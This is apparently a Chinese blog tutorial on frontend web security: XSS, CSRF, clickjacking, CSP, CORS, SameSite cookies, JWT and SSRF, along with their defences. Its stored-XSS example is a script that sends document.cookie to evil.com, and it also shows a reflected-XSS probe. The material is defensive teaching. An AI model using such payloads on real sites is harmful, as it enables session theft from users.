FE-15-前端安全:XSS、CSRF、CSP、SameSite 策略
本节目标:理解前端三大攻击(XSS、CSRF、点击劫持)的原理与防御,掌握 CSP、CORS、SameSite 等浏览器安全机制。
1. 安全三要素(CIA)
- Confidentiality 机密性:数据不泄漏
- Integrity 完整性:数据不被篡改
- Availability 可用性:服务不中断
前端的核心威胁:
- XSS(跨站脚本)
- CSRF(跨站请求伪造)
- 点击劫持
- 敏感数据泄漏(localStorage、token)
- 供应链攻击(恶意 npm 包)
- 中间人(HTTP vs HTTPS)
2. XSS(Cross-Site Scripting)
XSS = 攻击者把恶意脚本注入到你的页面。
2.1 三种类型
1. 存储型 XSS(最危险)
1 | 攻击者提交评论:<script>fetch('evil.com?c='+document.cookie)</script> |
2. 反射型 XSS
1 | URL: example.com/search?q=<script>alert(1)</script> |
3. DOM-based XSS
1 | // 危险:直接用 location.hash 写入页面 |
2.2 XSS 危害
- 窃取 cookie(
document.cookie) - 窃取 localStorage / sessionStorage
- 键盘记录(监听
keypress) - 钓鱼(伪造登录框)
- 内嵌 iframe 钓鱼
- 利用用户身份发请求(CSRF-like)
2.3 防御
1. 转义输出(最基本)
1 | // React 默认转义 JSX 文本 |
2. CSP(Content Security Policy)
1 | <meta http-equiv="Content-Security-Policy" content=" |
通过 HTTP header(推荐,更安全):
1 | Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' |
用 nonce 允许内联脚本:
1 | <script nonce="abc123"> |
3. 设置 HttpOnly cookie
1 | // 服务端设置 |
4. 输入验证(不是 XSS 的根本解决方案,但是好习惯)
1 | // 用白名单验证 |
5. 框架默认转义
- React:JSX 自动转义
- Vue 3:v-text 自动转义,
v-html才会注入(避免) - Angular:模板自动转义
6. 用 Trusted Types(现代防御)
1 | Content-Security-Policy: require-trusted-types-for 'script' |
1 | // 创建 trusted HTML 策略 |
3. CSRF(Cross-Site Request Forgery)
CSRF = 攻击者诱导用户在已登录的网站上执行非自愿操作。
3.1 攻击流程
1 | 1. 用户登录 bank.com,cookie 自动随请求发送 |
3.2 防御
1. SameSite cookie(最简单有效)
1 | Set-Cookie: session=abc; SameSite=Strict // 任何跨站都不发 |
2. CSRF Token
1 | <!-- 服务端在表单里加一个不可预测的 token --> |
1 | // 客户端 fetch 也带 token |
3. 检查 Origin / Referer
1 | // 服务端验证 |
4. 双重 Cookie
1 | // 服务端设置 |
5. Same-Origin Policy + CORS
1 | Access-Control-Allow-Origin: https://example.com |
4. 点击劫持(Clickjacking)
攻击:把目标网站 iframe 到自己的页面,诱导用户点击。
4.1 防御
1 | # X-Frame-Options(旧) |
5. 敏感数据保护
5.1 Token 存储
1 | // ❌ 放在 localStorage(XSS 可读) |
5.2 不在前端存敏感数据
1 | // ❌ 暴露在前端代码 |
5.3 localStorage 加密
1 | // 如果一定要存敏感数据,加密一下 |
6. HTTPS 与安全传输
1 | // ❌ 混用 HTTP 和 HTTPS(混合内容) |
HSTS(HTTP Strict Transport Security):
1 | Strict-Transport-Security: max-age=31536000; includeSubDomains; preload |
7. CORS(Cross-Origin Resource Sharing)
7.1 同源策略
同源 = 协议 + 域名 + 端口都相同:
1 | https://example.com:443/page |
跨源限制:默认 JS 不能跨源读资源(fetch/XHR/canvas 等)。
7.2 简单请求 vs 预检
简单请求(直接发):
- GET / HEAD / POST
- Content-Type: text/plain, application/x-www-form-urlencoded, multipart/form-data
预检请求(先 OPTIONS):
- PUT, DELETE
- Content-Type: application/json
- 自定义 header
7.3 CORS 响应头
1 | Access-Control-Allow-Origin: https://app.com # 允许的源 |
注意:
Allow-Origin: *不能和Allow-Credentials: true共用- 必须显式指定 origin
8. 依赖安全
8.1 漏洞扫描
1 | # npm audit |
8.2 锁定版本
1 | // package.json |
1 | # 永远提交 lock 文件 |
8.3 供应链攻击防御
- 用
npm ci而不是npm install(按 lock 严格安装) - 私有 npm 私服(Verdaccio、cnpm)
- 镜像源验证(淘宝镜像有时被劫持)
- 监控异常依赖(Dependabot、Snyk)
9. 其他安全要点
9.1 JWT 安全
1 | // ❌ 算法混淆攻击 |
9.2 重定向漏洞
1 | // ❌ 用户控制重定向目标 |
9.3 SSRF(Server-Side Request Forgery)
1 | // ❌ 让用户控制请求 URL |
9.4 信息泄漏
1 | // ❌ 错误详情暴露给前端 |
9.5 限流(Rate Limiting)
1 | // 防止暴力破解、API 滥用 |
10. Content Security Policy 详解
1 | Content-Security-Policy: |
指令速查:
| 指令 | 作用 |
|---|---|
default-src |
默认策略 |
script-src |
JS 来源 |
style-src |
CSS 来源 |
img-src |
图片来源 |
connect-src |
fetch/XHR/WebSocket 来源 |
frame-src |
iframe 来源 |
frame-ancestors |
谁能 iframe 我(替代 X-Frame-Options) |
form-action |
form 提交目标 |
base-uri |
<base> 限制 |
object-src |
<object> 限制 |
11. 实战:Node/Express 安全清单
1 | import express from 'express'; |
12. 安全响应头 checklist
1 | Strict-Transport-Security: max-age=63072000; includeSubDomains; preload |
小结
| 威胁 | 防御 |
|---|---|
| XSS | 转义、CSP、HttpOnly cookie、Trusted Types |
| CSRF | SameSite cookie、CSRF token、检查 Origin |
| 点击劫持 | CSP frame-ancestors / X-Frame-Options |
| 敏感数据泄漏 | 不存前端、用 HttpOnly cookie、后端代理 secrets |
| 依赖漏洞 | npm audit、锁定版本、Snyk |
| 中间人 | HTTPS、HSTS |
| CORS | 后端配 Access-Control-Allow-* |
| JWT 攻击 | 显式指定算法 |
| SSRF | URL 白名单 |
核心原则:
- 不要相信任何用户输入
- 最小权限原则(cookie、API、CSP 都按需)
- 纵深防御(多重保护,XSS + CSP + HttpOnly)
- 定期审计(Lighthouse、npm audit)
- HTTPS everywhere
- 关注 OWASP Top 10
2026 推荐工具:
helmet.js:Express 安全中间件DOMPurify:HTML 消毒csurf/csrf-csrf:CSRF tokenzod:运行时 + 编译时验证Snyk/npm audit:依赖扫描semgrep:静态分析
15 篇完结 🎉
- 本文作者: CoderSong
- 本文链接: https://jack-song-gif.github.io/2026/09/17/FE-15-前端安全:XSS-CSRF-CSP/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!